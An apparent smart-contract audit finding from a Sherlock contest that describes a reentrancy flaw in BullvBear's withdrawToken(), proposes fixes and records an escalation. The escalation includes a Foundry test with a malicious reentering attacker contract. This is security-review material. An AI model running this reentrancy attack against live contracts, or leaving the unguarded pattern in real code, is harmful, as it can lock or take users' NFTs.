kirk-baird - Reentrancy in `withdrawToken()` May Delete The Next User's Balance

[sherlock-admin]

kirk-baird

high

Reentrancy in withdrawToken() May Delete The Next User's Balance

Summary

The function withdrawToken() does not have a reentrancy guard and calls an external contract. It is possible to reenter settleContract() to spend the same token that was just transferred out. If the safeTransferFrom() in settleContract() fails then the token balance is added to the bull. However, when withdrawToken() continues execution it will delete the balance of the bull.

Vulnerability Detail

withdrawToken() makes a state change to withdrawableCollectionTokenId[collection][tokenId] after it makes an external call to an ERC721 contract safeTransferFrom(). Since this external call will relinquish control to the to address which is recipient, the recipient smart contract may reenter settleContract().

When calling settleContract() set the tokenId function parameter to the same one just transferred in withdawToken(). If transfer to the bull fails then the token is instead transferred to BvbProtocol and balance added to the bull, withdrawableCollectionTokenId[order.collection][tokenId] = bull

After settleContract() finishes executing control will revert back to withdrawToken() which then executes the line withdrawableCollectionTokenId[collection][tokenId] = address(0). The balance of the bull is therefore delete for that token.

e.g. If we know a transfer will fail to a bull in a matched order we can a) create a fake order with ourselves b) reenter from withdrawToken() into settleContract() and therefore delete the bulls withdrawableCollectionTokenId balance. Steps:

• BvpProtocol.matchOrder(orderA) create a fake order (A) with ones self
• BvpProtocol.settleOrder(orderA) settle the fake order (A) with ones self and ensure the ERC721 transfer from bull to bear fails.
• BvpProtocol.matchOrder(orderB) match the real order (B), this can be done at any time
• BvbProtocol.withdrawToken(orderA, token1) the following setups happen during line #456
  • ERC721(collection).safeTransferFrom(this, recipient, tokenId) (recipient is bull from the fake order (A))
  • recipient.onERC721Received() called by safeTransferFrom() and gives execution control to receipient
  • BvpProtocol.settleOrder(orderB, token1) reenter to settle the real order using token1 which does withdrawableCollectionTokenId[order.collection][tokenId] = bull
• Finish executing BvbProtocol.withdrawToken(orderA, token1) after line #456 which does withdrawableCollectionTokenId[collection][tokenId] = address(0)

Impact

If we know a transfer is going to fail to a bull for an ERC721 we can ensure the NFT is locked in the BvbProtocol contract. This NFT will be unrecoverable.

Code Snippet

withdrawToken()

    function withdrawToken(bytes32 orderHash, uint tokenId) public {
        address collection = matchedOrders[uint(orderHash)].collection;

        address recipient = withdrawableCollectionTokenId[collection][tokenId];

        // Transfer NFT to recipient
        IERC721(collection).safeTransferFrom(address(this), recipient, tokenId);

        // This token is not withdrawable anymore
        withdrawableCollectionTokenId[collection][tokenId] = address(0);

settleContract()

    function settleContract(Order calldata order, uint tokenId) public nonReentrant {
        bytes32 orderHash = hashOrder(order);

        // ContractId
        uint contractId = uint(orderHash);

        address bear = bears[contractId];

        // Check that only the bear can settle the contract
        require(msg.sender == bear, "ONLY_BEAR");

        // Check that the contract is not expired
        require(block.timestamp < order.expiry, "EXPIRED_CONTRACT");

        // Check that the contract is not already settled
        require(!settledContracts[contractId], "SETTLED_CONTRACT");

        address bull = bulls[contractId];

        // Try to transfer the NFT to the bull (needed in case of a malicious bull that block transfers)
        try IERC721(order.collection).safeTransferFrom(bear, bull, tokenId) {}
        catch (bytes memory) {
            // Transfer NFT to BvbProtocol
            IERC721(order.collection).safeTransferFrom(bear, address(this), tokenId);
            // Store that the bull has to retrieve it
            withdrawableCollectionTokenId[order.collection][tokenId] = bull;
        }

        uint bearAssetAmount = order.premium + order.collateral;
        if (bearAssetAmount > 0) {
            // Transfer payment tokens to the Bear
            IERC20(order.asset).safeTransfer(bear, bearAssetAmount);
        }

        settledContracts[contractId] = true;

        emit SettledContract(orderHash, tokenId, order);
    }

Tool used

Manual Review

Recommendation

I recommend both of these solutions though either one will be sufficient on its own:

• Add nonReentrant modifier to withdrawToken()
• Set withdrawableCollectionTokenId[collection][tokenId] = address(0) before performing IERC721(collection).safeTransferFrom(address(this), recipient, tokenId) to apply the checks-effects-interactions pattern.

[datschill]

PR fixing checks-effects-interactions pattern : https://github.com/BullvBear/bvb-solidity/pull/15

[datschill]

PR fixing another issue, removing the withdrawToken() method : https://github.com/BullvBear/bvb-solidity/pull/14

[sherlock-admin]

Escalate for 1 USDC

Reason There is no working re-entrancy attack path, the risk level should be LOW.

(1) The recipient has been changed to victim bull while re-entry 'settleContract' described in submission #77, #88, a next call from attacker to 'withdrawToken' will fail

(2) The underlying token has been transfered to attacker bull, so re-entry 'withdrawToken' decribed in submission #8 would not work too

(3) The last re-entry point is 'transferPosition', no damage too

Test case

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.17;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Base} from "./Base.t.sol";

import {BvbProtocol} from "src/BvbProtocol.sol";
import "forge-std/console.sol";

contract Victim {
    // Some collection contracts limit max number of NFTs an account can hold.
    // This contract simulates an account subjected to the limit, that is the account can't receive
    // NFT now, but later if it sends/sells some NFTs out, it can receive NFT again, withdraw NTFs
    // which are kept in BvbProtocol due to previous limit.
    bool private _limited;

    function setLimited(bool limited) external {
        _limited = limited;
    }
    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata
    ) external returns (bytes4) {
        require(!_limited);
        return this.onERC721Received.selector;
    }

    function withdrawToken(address bvb, bytes32 orderHash, uint tokenId) external {
        BvbProtocol(bvb).withdrawToken(orderHash, tokenId);
    }
}

contract BadBearsAttackContract {
    bool private attack;
    bool private receiveNFT;
    address private owner;
    address private target;
    uint private tokenId;
    bytes32 private contractId;
    BvbProtocol.Order private order;

    constructor () {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function enableAttack(address _target, bytes32 _contractId, uint _tokenId, BvbProtocol.Order calldata _order) external onlyOwner {
        attack = true;
        target = _target;
        contractId = _contractId;
        tokenId = _tokenId;
        order = _order;
    }

    function enableReceive(bool _receive) external onlyOwner {
        receiveNFT = _receive;
    }

    function onERC721Received(
        address ,
        address ,
        uint256 id,
        bytes calldata
    ) external returns (bytes4) {
        require(receiveNFT);
        if (attack && tokenId == id) {
            attack = false;
            BvbProtocol(target).settleContract(order, id);
            BvbProtocol(target).withdrawToken(contractId, id);
        }

        return this.onERC721Received.selector;
    }
}

contract ExploitWithdrawReentrancy is Base {
    Victim internal victim;
    BadBearsAttackContract internal attack;

    function setUp() public {
        victim = new Victim();
        attack = new BadBearsAttackContract();

        bvb.setAllowedAsset(address(weth), true);
        bvb.setAllowedCollection(address(doodles), true);

        deal(address(weth), bull, 0xffffffff);
        deal(address(weth), bear, 0xffffffff);
        deal(address(weth), address(victim), 0xffffffff);
        deal(address(weth), address(attack), 0xffffffff);
        vm.prank(bull);
        weth.approve(address(bvb), type(uint).max);
        vm.prank(bear);
        weth.approve(address(bvb), type(uint).max);
        vm.prank(address(victim));
        weth.approve(address(bvb), type(uint).max);
        vm.prank(address(attack));
        weth.approve(address(bvb), type(uint).max);
    }

    function testExploitWithdrawReentrancy() public {
        BvbProtocol.Order memory order = defaultOrder();
        order.maker = bear;
        order.isBull = false;

        bytes32 orderHash = bvb.hashOrder(order);

        // Sign the order
        bytes memory signature = signOrderHash(bearPrivateKey, orderHash);

        // Taker (Bull) match with this order
        vm.prank(address(victim));
        bvb.matchOrder(order, signature);

        // Give a NFT to the Bear + approve
        uint tokenId = 1234;
        doodles.mint(bear, tokenId);
        vm.prank(bear);
        doodles.setApprovalForAll(address(bvb), true);

        // Bad bear create a new order with the same collection but earlier expiry, and match with self's attack contract
        BvbProtocol.Order memory order2 = defaultOrder();
        order2.maker = bear;
        order2.isBull = false;
        order2.expiry = order.expiry - 1 days;
        bytes32 orderHash2 = bvb.hashOrder(order2);
        bytes memory signature2 = signOrderHash(bearPrivateKey, orderHash2);
        vm.prank(address(attack));
        bvb.matchOrder(order2, signature2);

        vm.prank(bear);
        bvb.settleContract(order2, tokenId);
        assertEq(bvb.withdrawableCollectionTokenId(address(doodles), tokenId), address(attack), "Token kept for badBear");
        vm.prank(address(attack));
        doodles.setApprovalForAll(address(bvb), true);

        // transfer the previous position to attack contract
        vm.prank(bear);
        bvb.transferPosition(orderHash, false, address(attack));

        attack.enableReceive(true);
        attack.enableAttack(address(bvb), orderHash2, tokenId, order);

        victim.setLimited(true);

        vm.expectRevert();
        vm.prank(address(attack));
        bvb.withdrawToken(orderHash2, tokenId);
    }
}

You've deleted an escalation for this issue.

[jack-the-pug]

Fix confirmed